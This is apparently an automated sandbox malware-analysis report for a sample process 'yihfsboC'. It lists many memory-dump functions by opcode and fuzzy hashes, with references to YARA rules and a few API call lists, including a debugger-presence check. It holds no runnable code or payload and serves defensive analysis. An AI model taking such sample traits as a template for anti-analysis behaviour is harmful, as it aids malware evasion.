Instruction Fuzzy Hash: 0D41C575E012188FEB68CFAAD85079EBBF2AF99300F50C1A9C418B7255DB345A86CF54

Function 2993F887 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb78f4e8222d0d83a0cfb36366972cdf287091147567d90896058f5b0c9c0a1
Instruction ID: 979e78892c096a6a62d82f6f07d172591c39454ec4fd97c56bb526c1cb7a3e5f
Opcode Fuzzy Hash: aeb78f4e8222d0d83a0cfb36366972cdf287091147567d90896058f5b0c9c0a1
Instruction Fuzzy Hash: 6841C774E002188FEB68CFAAD94079EBBF2AF89300F50C0A9C518B7255DB345A86CF55

Function 2993B8EF Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2378a462349b11bb74f5095d69a9b2fbf266d2c634a7627f22baa821d799ebf0
Instruction ID: 3b815ee6e927638febd3120d04d0edcab79bcd30fe6993f1e255cbaade194154
Opcode Fuzzy Hash: 2378a462349b11bb74f5095d69a9b2fbf266d2c634a7627f22baa821d799ebf0
Instruction Fuzzy Hash: D741D775E00218CFEB64DFAAC85079EBBF2AF99300F50C0AAC518B7255DB345A86CF54

Function 2993003F Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd85b1a88c354a690d963b3bbf3e9ba40998d4aa5c241ebcda0d0644a2fc91e2
Instruction ID: c609e235f3e99dc06978a6d4624ca703c0e377b3bbae1d2fe17e15d4771bf811
Opcode Fuzzy Hash: dd85b1a88c354a690d963b3bbf3e9ba40998d4aa5c241ebcda0d0644a2fc91e2
Instruction Fuzzy Hash: A041B775E012188FEB68CFAAC95079EBBF2BF89300F5080A9C518A7255DB345A868F55

Function 2993A797 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86a93ad81ba8e137fe62ea6dc207be6986f7d0ccabb49583151ff5876b0adc53
Instruction ID: e291c80a928934646b227dc7e02c49381d959bdf793b3abde3bdb143342014de
Opcode Fuzzy Hash: 86a93ad81ba8e137fe62ea6dc207be6986f7d0ccabb49583151ff5876b0adc53
Instruction Fuzzy Hash: 0841C674E012188FEB64CFBAD84079EBBF2AF89300F50C0A9C418B7255DB345A86CF54

Function 29930607 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e9d957da8afae8c55528626f010736d631a62531d14e6e5a9ed1d01de15787f
Instruction ID: 5573e6425583aad0aba3f8b4975d85e7191d9d84311fe1e68fc911c594f42e2f
Opcode Fuzzy Hash: 8e9d957da8afae8c55528626f010736d631a62531d14e6e5a9ed1d01de15787f
Instruction Fuzzy Hash: 7641B774E012188FEB68CFAAD95079EBBF2AF89300F50C0A9C518B7255DB345A868F54

Function 299324B0 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81fffa2dda2480435d7ff2940d8a81be85dcc5133af4be260dcf8859884d32af
Instruction ID: 8bfd40d2aae30c3bac9512be55cf71af0db288e1e66cb12a042ad2d6a9bbc3fe
Opcode Fuzzy Hash: 81fffa2dda2480435d7ff2940d8a81be85dcc5133af4be260dcf8859884d32af
Instruction Fuzzy Hash: 5D31F530B082859FD7098F75C864AAE7FB2FFC9210B6481AED446CB2A5DE354D47C751

Function 2410D514 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2533626388.000000002410D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2410D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2410d000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b306bab4e6aa23b417d6034f63b3576d8fbd53ac237b43e922df32d29b6e7b92
Instruction ID: f71bc9c1529a68aab83d444c4deff72f8c0afeb7715b4ae33de401b4a1e2a9fd
Opcode Fuzzy Hash: b306bab4e6aa23b417d6034f63b3576d8fbd53ac237b43e922df32d29b6e7b92
Instruction Fuzzy Hash: 1421C1B1604244DFDB05DF14D9C0F16BB75EB88328F24C5A9ED094B256C336D656CAA2

Function 2411D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2533778698.000000002411D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2411D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2411d000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d32cdf85c72bb0374209e0baafcdc1be2c20484849c2ed5a36b8aecfe307242
Instruction ID: 6ab58fc43440e8032813ef94702ad56ce1a18233a36d2cd6316bba37770590dd
Opcode Fuzzy Hash: 1d32cdf85c72bb0374209e0baafcdc1be2c20484849c2ed5a36b8aecfe307242
Instruction Fuzzy Hash: 1721DEB5608204DFDB15DF14E9C0B06BBA5EB84314F20C6B9D84D4A286C33AEA47CA62

Function 2411D007 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2533778698.000000002411D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2411D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2411d000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e717ffa7e0ecf50b9e5e61e7fef59a2f78e1e2eb0102bd68f0cc04a8972a7bdc
Instruction ID: ef6f92861fd022f5e424bd2d0c44098af5e6c7b05b37961313db84b128c0ec10
Opcode Fuzzy Hash: e717ffa7e0ecf50b9e5e61e7fef59a2f78e1e2eb0102bd68f0cc04a8972a7bdc
Instruction Fuzzy Hash: 8C215A711097C09FC703DB24D990B05BF71EB46214F2985EBD8888F2A7C33A994ACB62

Function 29954EE8 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d59614d9b24f3c4ee45f8b60d68d7b2c60dd2ec43d45c27718415c156bb2df80
Instruction ID: e4f371b4a2b1b2539a9dd70c8843dd85541eef1ba860edf64e497a0223fe9898
Opcode Fuzzy Hash: d59614d9b24f3c4ee45f8b60d68d7b2c60dd2ec43d45c27718415c156bb2df80
Instruction Fuzzy Hash: A911B130E042089FDB48DFB9D55576E7BF1AF85200F2084ADD80AD7291EB359E46CB81

Function 29954401 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530655643cd520733396f67d8e861d2e67e26f606f0e2cabbfb9ba429996db34
Instruction ID: a7dcaeddeac488f908115dc40ef754243fe6025a54709c8db8d4f6830c0486a9
Opcode Fuzzy Hash: 530655643cd520733396f67d8e861d2e67e26f606f0e2cabbfb9ba429996db34
Instruction Fuzzy Hash: 4F11D075A00211CFCB94EFB8D90899E7BF5BF4826071101A6E94AEB311EB34CD028BE1

Function 29953EB0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ed7fad0903ccba3eda7da228a7ac9dbfaca39a0ff06f0f41ee048fb37b9758
Instruction ID: f3a1a8bcb67fe820442fb2cd35f2b51e63259d0535cb56743698a6d43a26cfa6
Opcode Fuzzy Hash: b2ed7fad0903ccba3eda7da228a7ac9dbfaca39a0ff06f0f41ee048fb37b9758
Instruction Fuzzy Hash: 4F11A535714201CFD708DA79E89692637E9AFC967531580BAE94BCB3B1EA24DC0287A0

Function 29932220 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8e5d336318f03dcce9279627284914a694f205936efdc70ea446294098e4d65
Instruction ID: 88f1027555e5e76d7e4ab8ede447529a1014f87f4827f926dea1828f193301c2
Opcode Fuzzy Hash: d8e5d336318f03dcce9279627284914a694f205936efdc70ea446294098e4d65
Instruction Fuzzy Hash: D9118C353042048FC718CF6AD884E1AB7EAFF88721F1085AAE54ACB361CA71EC06CB50

Function 299327E0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90b32f635f82e137ba0381001dc5976953395206cb88b8703677889e4fcbf420
Instruction ID: 6b6758fa7f075c5853fdadc657f74944238853de470c6f9f52f772cdce374919
Opcode Fuzzy Hash: 90b32f635f82e137ba0381001dc5976953395206cb88b8703677889e4fcbf420
Instruction Fuzzy Hash: 0511AC36E002459FDB14EFB9848069EBBF6AF88660F904279C519F3304DB31DC028BE9

Function 2410D50F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2533626388.000000002410D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2410D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2410d000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63b2946cef6f228bea6bf308b0c32d66e3d437da7a1df527002fe7e9624e2f1
Instruction ID: 972abe847b786c5a0222373060e99deeac0f173cf9e694f8be4b424c5dae341e
Opcode Fuzzy Hash: f63b2946cef6f228bea6bf308b0c32d66e3d437da7a1df527002fe7e9624e2f1
Instruction Fuzzy Hash: 1111AF76504280CFCB06CF14D5C0B46BF72FB84324F24C6A9DC494B656C336D656CBA1

Function 299325C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e8d51f8b3b4652982dbaf630cffd034055cce75433ae2254b457c76fc8c174
Instruction ID: 19efc7678a8fcde156ca5c0495cf2ca9093c5749cf97ebdfb79c64648aa37021
Opcode Fuzzy Hash: 88e8d51f8b3b4652982dbaf630cffd034055cce75433ae2254b457c76fc8c174
Instruction Fuzzy Hash: 730128357083905FCB0A1FB8885846D3FA6DFC731030440AAE586CF2D2EA688D47DB92

Function 29953610 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56222d4aea5fdd17798c37b10963bef5c7311506f629b697f65bb424137d0ee6
Instruction ID: 7528cb0680de08ec4a91abc0e86824aa2b07d91eb9dd3ddaa3c8e52ce9c82513
Opcode Fuzzy Hash: 56222d4aea5fdd17798c37b10963bef5c7311506f629b697f65bb424137d0ee6
Instruction Fuzzy Hash: 7F01D67270115CAB9B0ACE599801AAF7B9BDFC87A0F14C02DF919D7384DA75CD168B90

Function 29930FD8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73c2251d5b117e9408f90c5b3ce93738cae8b9a8f8a6aacaeafa211465aa56b8
Instruction ID: 364599400747ee7737b3f8edebdd0c685cbb6ae4303c29290f9d1517d1107c91
Opcode Fuzzy Hash: 73c2251d5b117e9408f90c5b3ce93738cae8b9a8f8a6aacaeafa211465aa56b8
Instruction Fuzzy Hash: 56019235E00249EFCF18AF74C848AAE7BB5FB88361F404539E95693350DB3489158BA4

Function 2410D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2533626388.000000002410D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2410D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2410d000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd5b2b09505d31359d59e7067bbbce9aa6241e652d4d2fd9a57c918d8781bdf
Instruction ID: 4d1259de38dba420dec8783a9cc71f1b24cb6b66d4b7ea84e05fe541ca7c6ed5
Opcode Fuzzy Hash: 1cd5b2b09505d31359d59e7067bbbce9aa6241e652d4d2fd9a57c918d8781bdf
Instruction Fuzzy Hash: 900126715083009EE3104B21ECC0B97BFD8DF45325F14C49AED4C0F28AC67A9A46CAB6

Function 29953600 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2559f0332942455a72fce1b299b7a92ab67e334c5203a6426fe2263752a551
Instruction ID: 225168ad5eadd60e32eb7b4e3c3c7aed43e2827d435e56b1608e30c2d551b552
Opcode Fuzzy Hash: 6e2559f0332942455a72fce1b299b7a92ab67e334c5203a6426fe2263752a551
Instruction Fuzzy Hash: 4D01DB72601159AFCB15CE659C05BEF3BA6DFC4350F14806DF559C7380D675C916CB50

Function 2410D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2533626388.000000002410D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2410D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2410d000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f609c52459b7516eb3bddc07d10ae5daef91436ded889c285cb987d289db88fe
Instruction ID: 43a21d4b22d1dc684bb5b490633fd2ad9b27c5c8ae6a694d6f171c31432f09c8
Opcode Fuzzy Hash: f609c52459b7516eb3bddc07d10ae5daef91436ded889c285cb987d289db88fe
Instruction Fuzzy Hash: 9C014C7140E3C09ED3128B219895B52BFB4DF43224F19C1DBD9888F1A7C2695949CB72

Function 29930FC8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bfae232810b2127af6f0602d8fbaf8d132de11d507cd30290a114c7dc8440d7
Instruction ID: c80cd1363182d6f4828d6b81d36f3e42113dd34f865f0a98099b21584fdcc999
Opcode Fuzzy Hash: 3bfae232810b2127af6f0602d8fbaf8d132de11d507cd30290a114c7dc8440d7
Instruction Fuzzy Hash: 05015E35A04259EFCF28EF79D8449AE7BB5FF88361F404139E85593250DB308915DFA1

Function 29932877 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cfc0ddb07eeb7fa13a2032ebbf0d9e185380fd4ab4a7677e02eea017e7a8bd9
Instruction ID: 09c4994b108bfaab3a5cb51f8f3325d70fd58b8802bf37d6b14507d58e974a4b
Opcode Fuzzy Hash: 9cfc0ddb07eeb7fa13a2032ebbf0d9e185380fd4ab4a7677e02eea017e7a8bd9
Instruction Fuzzy Hash: 18F0F632B082609FC70A5B6EF41459EBBA9DFC563070840FBD444CB260DF36C802CB95

Function 29954378 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd406d15ffb66ebc7ee10ded3da7bb59050bb7b34a63d15baf56038560d02b8a
Instruction ID: 3c6220cfad65ac3eb437cd2efa02ad0ff964d2d33c897d86f4958958de3fe593
Opcode Fuzzy Hash: bd406d15ffb66ebc7ee10ded3da7bb59050bb7b34a63d15baf56038560d02b8a
Instruction Fuzzy Hash: 8701A870E002199FCF44EFB9D954AAFBBF5AF49250F108569D519F7250E73899028BA0

Function 299320B8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dea1d4b9bf1c96c094e2d0b678d3f87e417ff2cd66f3a09b8a0a36196ed9b6c0
Instruction ID: 6408d5e6d7f06356ff22449a646654b93abfe97c71d4146c8bd79d7945ac6064
Opcode Fuzzy Hash: dea1d4b9bf1c96c094e2d0b678d3f87e417ff2cd66f3a09b8a0a36196ed9b6c0
Instruction Fuzzy Hash: EEF0C275E042089F8B60DFB988419AFBFF1AB98240B00422BE945D7241E7309A078BD2

Function 29954375 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc9f29f652ec63b972781e31026fe88a3bccaf0f26a1267e4295ccd01fa5091b
Instruction ID: c4e0c810bed590f39be1925bed5546835abdf251099d0c1fca50dc07ee902d32
Opcode Fuzzy Hash: cc9f29f652ec63b972781e31026fe88a3bccaf0f26a1267e4295ccd01fa5091b
Instruction Fuzzy Hash: 0301FB71E002199FCF84EFB9D9006AEBBF5AF48240F104569D419F7260E7388A028BA0

Function 29953EC0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2692540252a31c119d661ab7935e2ff4b3d7fb7a4d1618c778242bacc6f1eba0
Instruction ID: fec76feb62090decb793bcdd5f04e79d27b00cd7ad0213da5672887af4692f88
Opcode Fuzzy Hash: 2692540252a31c119d661ab7935e2ff4b3d7fb7a4d1618c778242bacc6f1eba0
Instruction Fuzzy Hash: E3F01C353101159FD708DA2AD859D2B3BEEEFC866570580A9F907CB361EE64DC028790

Function 29932570 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0931585a73fc7a01b21d34aab33254e455762f55aa2957d6d566b115c870144
Instruction ID: 05fef0af4b1fc28804c21b4876240afaa897fdfab71dd1e69b59aa4fc2ac8e48
Opcode Fuzzy Hash: e0931585a73fc7a01b21d34aab33254e455762f55aa2957d6d566b115c870144
Instruction Fuzzy Hash: 1AF03A353001059FC704CF59C494D5ABBAAFF887207508169FA0987331CB719D12CB50

Function 29932620 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fb10114fe34a74ac960a5edbd7f13924149771c7ed494c973aadcee1120e53
Instruction ID: d905ecb76b848cbcffd47b82a3ac584050abe815243bb95bb7203670a2e9aa93
Opcode Fuzzy Hash: 41fb10114fe34a74ac960a5edbd7f13924149771c7ed494c973aadcee1120e53
Instruction Fuzzy Hash: A5D0C73A300154674B051A49D404DAE7B5FE7C9771704802AF90583340CF754D1597E5

Function 29953DB0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d390c0a7c4b19ac2e933b9963b9a24c43f94cd65c4c91557a2bf9486fedac7e
Instruction ID: 98f603312612e81cb95715e0fbae7e703a13c1fc85b4dfd8428f651937767463
Opcode Fuzzy Hash: 0d390c0a7c4b19ac2e933b9963b9a24c43f94cd65c4c91557a2bf9486fedac7e
Instruction Fuzzy Hash: F2C0123444435A4BD545E761D885925375AE6C0201780AA10B8090E15DAEBC798E96A5

Function 29953E90 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bf0a0c5548a3facabeefe94bb4fb960ac7493759b92284a2ca2a1f077143375
Instruction ID: a7e8b72b537bc3a752d61b9aef787ce50a977b1ae552efeb6b69983520d4f2ea
Opcode Fuzzy Hash: 0bf0a0c5548a3facabeefe94bb4fb960ac7493759b92284a2ca2a1f077143375
Instruction Fuzzy Hash: 88D0C93518C3825FCB03DF34895D4897FA15A5220031945E2D080CF097E2288943C7D2

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,241418F0), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
